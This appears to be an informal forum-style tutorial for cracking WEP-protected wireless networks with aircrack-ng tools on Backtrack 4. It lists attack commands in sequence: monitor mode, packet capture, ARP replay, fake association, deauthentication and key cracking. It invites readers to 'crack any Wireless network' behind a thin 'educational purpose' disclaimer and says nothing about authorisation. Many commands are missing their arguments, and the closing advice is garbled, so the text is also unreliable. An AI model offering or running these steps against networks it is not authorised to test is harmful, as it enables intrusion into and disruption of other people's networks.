Run the commands enlisted below in console mode of Linux Backtrack 4. (search in Google.. and u'll get the live CD for Backtrack 4 )
I tried to be as clear as possible.. at every command.. I tried to give brief explanation of the command itself.
You can try these steps to crack any Wireless network. It's strictly for Educational purpose.
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Finding the list of available Interfaces:
Iwconfig
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Bring the card in monitor mode:
iwconfig mode monitor "Enable Monitor Mode"
OR
Bring the card in monitor mode using:
airmon-ng start
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Scan for Access points and associated clients:
airodump-ng "GET BSSID, Channel, Station ID" first session
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Capture packets to file:
airodump-ng --write --channel -b
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Injection test:- check whether the card support injection or not:
aireplay-ng -9
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Arp replay Attack:
aireplay-ng -3 -x 512 -b -h "ARP Attack"
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Fake Association attack:
aireplay-ng -1 16 -a -c
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Deauthentication Attack :
aireplay-ng -0 4 -a -h "Deauth Attack"
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Crack WEP Key:
aircrack-ng -a 1 -b *.cap
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You would require two essentials for cracking the wireless network:
1. Backtrack 4 Live CD
2. Wireless Network card
PLz dont try to hack any network with ur Laptop Wi-fi.. coz it sends huge number of packets to the network.. approx 35,000 packets ( to the network which we suppose to hack ). But if you wish to never use ur Laptop Wi-fi.. then it may actually a good solution for you.
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